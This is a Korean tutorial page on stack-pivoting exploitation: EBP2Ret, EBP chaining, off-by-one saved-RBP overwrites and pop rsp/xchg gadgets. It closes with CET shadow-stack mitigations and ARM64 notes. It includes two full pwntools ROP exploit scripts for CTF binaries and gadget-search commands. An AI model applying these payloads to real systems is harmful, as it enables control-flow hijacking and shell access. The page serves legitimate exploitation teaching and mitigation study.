스택 피벗팅 - EBP2Ret - EBP 체이닝

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기본 정보

이 기술은 **기본 포인터 (EBP/RBP)**를 조작하여 프레임 포인터와 leave; ret 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.

상기 사항으로, x86/x86-64에서 **leave**는 다음과 같습니다:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

And as the saved EBP/RBP는 스택에 저장된 EIP/RIP 앞에 있기 때문에, 스택을 제어함으로써 이를 제어할 수 있습니다.

Notes

  • 64비트에서는 EBP→RBP 및 ESP→RSP로 교체합니다. 의미는 동일합니다.
  • 일부 컴파일러는 프레임 포인터를 생략합니다(“EBP가 사용되지 않을 수 있음” 참조). 이 경우 leave가 나타나지 않을 수 있으며 이 기술은 작동하지 않습니다.

EBP2Ret

이 기술은 저장된 EBP/RBP를 변경할 수 있지만 EIP/RIP를 직접 변경할 방법이 없을 때 특히 유용합니다. 함수 종료 동작을 활용합니다.

fvuln 실행 중에 스택에 가짜 EBP를 주입하여 쉘코드/ROP 체인 주소가 있는 메모리 영역을 가리키게 하면(amd64에서는 8바이트, x86에서는 4바이트를 더하여 pop을 고려), 간접적으로 RIP를 제어할 수 있습니다. 함수가 반환되면 leave가 RSP를 조작된 위치로 설정하고, 이후 pop rbp가 RSP를 감소시켜 공격자가 그곳에 저장한 주소를 가리키게 만듭니다. 그런 다음 ret은 그 주소를 사용합니다.

2개의 주소를 알아야 한다는 점에 유의하세요: ESP/RSP가 이동할 주소와 ret이 사용할 그 주소에 저장된 값입니다.

Exploit Construction

먼저 임의의 데이터/주소를 쓸 수 있는 주소를 알아야 합니다. RSP는 여기로 가리키고 첫 번째 ret을 소비합니다.

그런 다음, 실행을 전송할 ret에서 사용할 주소를 선택해야 합니다. 다음을 사용할 수 있습니다:

  • 유효한 ONE_GADGET 주소.
  • **system()**의 주소와 적절한 반환 및 인수(예: x86에서는 ret 대상 = &system, 그 다음 4개의 쓰레기 바이트, 그 다음 &"/bin/sh").
  • jmp esp; 가젯의 주소(ret2esp)와 인라인 쉘코드.
  • 쓰기 가능한 메모리에 스테이지된 ROP 체인.

이러한 주소들 앞에는 **leave에서의 pop ebp/rbp**를 위한 공간이 있어야 합니다(amd64에서는 8B, x86에서는 4B). 이러한 바이트를 악용하여 두 번째 가짜 EBP를 설정하고 첫 번째 호출이 반환된 후에도 제어를 유지할 수 있습니다.

Off-By-One Exploit

저장된 EBP/RBP의 가장 낮은 바이트만 수정할 수 있는 경우에 사용되는 변형이 있습니다. 이 경우, **ret**로 점프할 주소를 저장하는 메모리 위치는 원래 EBP/RBP와 처음 세 개/다섯 개의 바이트를 공유해야 하므로 1바이트 덮어쓰기가 이를 리디렉션할 수 있습니다. 일반적으로 낮은 바이트(오프셋 0x00)는 인근 페이지/정렬된 영역 내에서 가능한 한 멀리 점프하기 위해 증가합니다.

스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 RSP가 슬레드 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것도 일반적입니다.

EBP Chaining

스택의 저장된 EBP 슬롯에 제어된 주소를 배치하고 EIP/RIPleave; ret 가젯을 배치함으로써 ESP/RSP를 공격자가 제어하는 주소로 이동할 수 있습니다.

이제 RSP가 제어되고 다음 명령은 ret입니다. 제어된 메모리에 다음과 같은 것을 배치합니다:

  • &(다음 가짜 EBP) -> leave에서 pop ebp/rbp로 로드됩니다.
  • &system() -> ret에 의해 호출됩니다.
  • &(leave;ret) -> system이 끝난 후 RSP를 다음 가짜 EBP로 이동하고 계속합니다.
  • &("/bin/sh") -> system의 인수입니다.

이렇게 하면 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.

이는 ret2lib와 비슷하지만 더 복잡하며 엣지 케이스에서만 유용합니다.

또한, 이 기술을 사용하여 스택 누수로 승리하는 함수를 호출하는 챌린지의 예가 있습니다. 이것은 페이지의 최종 페이로드입니다:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 정렬 팁: System V ABI는 호출 지점에서 16바이트 스택 정렬을 요구합니다. 체인이 system과 같은 함수를 호출하는 경우, 정렬을 유지하고 movaps 충돌을 피하기 위해 호출 전에 정렬 가젯(예: ret 또는 sub rsp, 8 ; ret)을 추가하세요.

EBP는 사용되지 않을 수 있습니다

이 게시물에서 설명된 바와 같이, 이진 파일이 일부 최적화 또는 프레임 포인터 생략으로 컴파일된 경우, EBP/RBP는 ESP/RSP를 제어하지 않습니다. 따라서 EBP/RBP를 제어하여 작동하는 모든 익스플로잇은 프로롤로그/에필로그가 프레임 포인터에서 복원하지 않기 때문에 실패할 것입니다.

  • 최적화되지 않음 / 프레임 포인터 사용됨:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 최적화됨 / 프레임 포인터 생략:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64에서는 leave ; ret 대신에 pop rbp ; ret를 자주 볼 수 있지만, 프레임 포인터가 완전히 생략되면 피벗할 rbp 기반 에필로그가 없습니다.

RSP를 제어하는 다른 방법

pop rsp 가젯

이 페이지에서 이 기술을 사용하는 예제를 찾을 수 있습니다. 그 도전 과제에서는 2개의 특정 인수로 함수를 호출해야 했고, pop rsp 가젯이 있었으며 스택에서의 leak가 있었습니다:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp 기법에 대한 내용은 여기에서 확인하세요:

Ret2esp / Ret2reg

피벗 가젯을 빠르게 찾기

좋아하는 가젯 찾기 도구를 사용하여 고전적인 피벗 프리미티브를 검색하세요:

  • leave ; ret 함수 또는 라이브러리에서
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (또는 x86에서 add esp, <imm> ; ret)

예시:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

고전적인 피벗 스테이징 패턴

많은 CTF/익스플로잇에서 사용되는 강력한 피벗 전략:

  1. 작은 초기 오버플로우를 사용하여 read/recv를 큰 쓰기 가능한 영역(예: .bss, 힙 또는 매핑된 RW 메모리)으로 호출하고 그곳에 전체 ROP 체인을 배치합니다.
  2. 피벗 가젯(leave ; ret, pop rsp, xchg rax, rsp ; ret)으로 돌아가 RSP를 해당 영역으로 이동합니다.
  3. 스테이지된 체인을 계속 진행합니다(예: libc 누출, mprotect 호출, 그런 다음 read 셸코드, 그 후 점프).

스택 피벗을 무력화하는 현대적 완화책 (CET/섀도우 스택)

현대 x86 CPU와 OS는 점점 더 **CET 섀도우 스택(SHSTK)**을 배포합니다. SHSTK가 활성화되면, ret는 일반 스택의 반환 주소와 하드웨어로 보호된 섀도우 스택을 비교합니다; 불일치가 발생하면 제어 보호 오류가 발생하고 프로세스가 종료됩니다. 따라서 EBP2Ret/leave;ret 기반 피벗과 같은 기술은 피벗된 스택에서 첫 번째 ret가 실행되는 즉시 충돌합니다.

  • 배경 및 더 깊은 세부정보는 다음을 참조하십시오:

CET & Shadow Stack

  • 리눅스에서의 빠른 확인:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • 실습/CTF 노트:

  • 일부 최신 배포판은 하드웨어 및 glibc 지원이 있을 때 CET가 활성화된 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 위해 SHSTK는 커널 부트 매개변수 nousershstk를 통해 시스템 전체에서 비활성화할 수 있으며, 시작 시 glibc 조정으로 선택적으로 활성화할 수 있습니다(참조 참조). 프로덕션 대상에서 완화 조치를 비활성화하지 마십시오.

  • JOP/COOP 또는 SROP 기반 기술은 여전히 일부 대상에서 유효할 수 있지만, SHSTK는 특히 ret 기반 피벗을 무너뜨립니다.

  • Windows 노트: Windows 10+는 사용자 모드를 노출하고 Windows 11은 그림자 스택을 기반으로 한 커널 모드 "하드웨어 강제 스택 보호"를 추가합니다. CET 호환 프로세스는 ret에서 스택 피벗/ROP를 방지합니다; 개발자는 CETCOMPAT 및 관련 정책을 통해 선택적으로 활성화합니다(참조 참조).

ARM64

ARM64에서 함수의 프롤로그와 에필로그스택에서 SP 레지스터를 저장하고 검색하지 않습니다. 또한, RET 명령은 SP가 가리키는 주소로 반환하지 않고, x30 내부의 주소로 반환합니다.

따라서 기본적으로 에필로그를 남용하더라도 스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다. SP를 제어할 수 있게 되더라도 여전히 x30 레지스터를 제어할 방법이 필요합니다.

  • 프롤로그
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP는 프레임 레코드를 가리킴
  • 에필로그
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **SP**를 제어할 수 있는 것입니다(어떤 레지스터의 값을 제어하여 SP에 전달하거나, 어떤 이유로 SP가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 에필로그를 남용하여 **제어된 SP**에서 x30 레지스터를 로드하고 **RET**하는 것입니다.

다음 페이지에서 ARM64의 Ret2esp에 해당하는 내용을 볼 수 있습니다:

Ret2esp / Ret2reg

References

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